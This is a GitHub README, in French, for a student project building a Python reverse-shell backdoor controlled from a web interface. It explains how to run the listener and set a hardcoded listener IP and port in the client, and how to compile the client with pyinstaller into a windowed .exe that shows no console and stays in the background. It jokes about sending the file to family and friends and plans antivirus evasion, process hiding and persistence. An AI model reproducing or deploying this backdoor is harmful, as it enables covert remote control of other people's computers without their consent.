Skip to content

Saluc00/UF-Infra-B2

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
Doc
 
 
 
 
 
 

Reverse-shell en interface Web

Dans le cadre du projet 2020 UF infrastucture & Système d'information, nous avons réalisé un reverse shell en python avec un contrôle depuis une interface web, ainsi qu'un déploiement à l'aide de vagrant.

Réalisé par CEBERIO Pierre @PierreYnov et USEREAU Lucas @Saluc .

img

Sommaire

Documentation d'installation

Manuel d'installation étape par étape du reverse shell

0. Prérequis

Le projet demande trois prérequis, avoir vagrant, virtualbox et le module python pyinstaller d'installé sur son PC.

Disponible ici !

I. Git clone

Cloner le repository avec la commande: git clone https://github.com/Saluc00/UF-Infra-B2.git.

II. Vagrant

Suivant le port que vous souhaitez utiliser, changez le port dans le VagrantFile du côté HOST !! Important !!

Placez-vous dans le fichier vagrant et faites la commande: vagrant up.

Attendre la fin de l'initialisation du VagrantFile..

Une fois l'installation du VagrantFile ok, faites le commande vagrant ssh.

Pour lancer le serveur python, il se trouve dans UF-Infra-B2\Multi-Client-Reverse-Shell.

La commande pour UP le serveur: python3 Listener.py

Documentation d'utilisation

Serveur

Vous devez tout d'abord ouvrir un port sur votre serveur afin d'écouter dessus et permettre aux pc infectés de s'y connecter. La manière d'ouvrir un port diffère en fonction de votre OS, vous pouvez vous référer à ces liens pour Windows, OSX et Ubuntu :

Une fois le port que vous avez choisi est ouvert, rendez vous dans le fichier Listener.py et allez à la ligne 341 remplacer le port 9999 par le votre.

Le serveur est maintenant prêt, il suffit de lancer l'écoute et attendre que les clients se connectent :

python3 Listener.py

La commande list permet de lister les clients actuellement connectés, il suffit ensuite de sélectionner le pc sur lequel on veut intervenir avec la commande select suivi de l'index du pc.

img

Pour quitter le shell sur le pc où l'on est, il suffit d'écrire quit.

Pour quitter l'interface Web du Reverse-Shell, il suffit de taper exit.

La commande help vous donnera les informations détaillés sur chaque commande.

La commande upload permet d'envoyer un fichier qu'on a sur le serveur, sur le client ( la commande download est encore en réalisation, elle fera l'inverse).

Client

Afin d'être fonctionnel, il est nécessaire côté client (ReverseBackdoor.py) d'adresser l'IP de votre hôte (qui vous permettra de contrôler les ordinateurs ) à la ligne 164 (listenerIP) ainsi que de donner le port sur lequel écoute votre hôte à la ligne 165 (listenerPort).

à la ligne 164 et 165:

  listenerIP = "77.202.221.174" # Ici mettre votre IP
  listenerPort = 9999 # Ici le port que vous avez mis en host dans le fichier vagrant

Pour compiler le ReverseBackdoor.py, vous aurez besoin de pyinstaller :

pip install pyinstaller

Tapez ensuite :

pyinstaller --onefile --windowed ReverseBackdoor.py

afin d'avoir le fichier ReverseBackdoor.exe en un seul fichier (sans librairie) et qui n'affiche aucune console quand vous l'exécutez mais qui reste en background.

Puis envoyer le fichier .exe créé à toutes votre famille et amis !

Pour aller plus loin

  • Régler les problèmes d'encodage
  • Fix la commande download
  • Avoir l'interface Web SSH sur notre serveur ( dépendance actuel de https://app.shellngn.com/ )
  • Automatisation des tâches sur tout les ordinateurs qu'on contrôle ( pas en interactif à la mano, maybe tmux ? )
  • FUD la backdoorReverseShell, cacher le processus et le rendre permanent.
  • To be continued ...

Crédits

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published